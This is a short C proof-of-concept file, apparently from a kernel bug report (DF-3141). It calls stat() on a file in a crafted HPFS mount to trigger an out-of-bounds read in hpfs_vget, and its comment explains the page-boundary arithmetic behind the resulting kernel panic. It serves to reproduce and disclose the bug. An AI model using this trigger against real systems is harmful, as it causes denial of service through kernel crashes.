DF-3141 / poc_panic.c
/* * DF-3141 (panic variant) -- stat(2) a file whose fnode sits at LSN 0x4F. * * 0x4F*512 = 0x9E00 = page + 0xE00, so the 512-byte fnode buffer ends * exactly at the page boundary. hpfs_vget's bcopy(bp->b_data, &hp->h_fn, * sizeof(struct fnode)) reads 520 bytes -> 8 bytes into the next, * unmapped page of the buffer's MAXBSIZE KVA reservation -> * kernel page fault (supervisor read), fatal trap 12. */ #include <stdio.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/tmp/hpfsmp"; char path[512]; struct stat sb; snprintf(path, sizeof(path), "%s/FILE", mp); printf("stat %s ...\n", path); fflush(stdout); if (stat(path, &sb)) perror("stat"); printf("stat returned, size=%lld (no panic)\n", (long long)sb.st_size); return 0; } |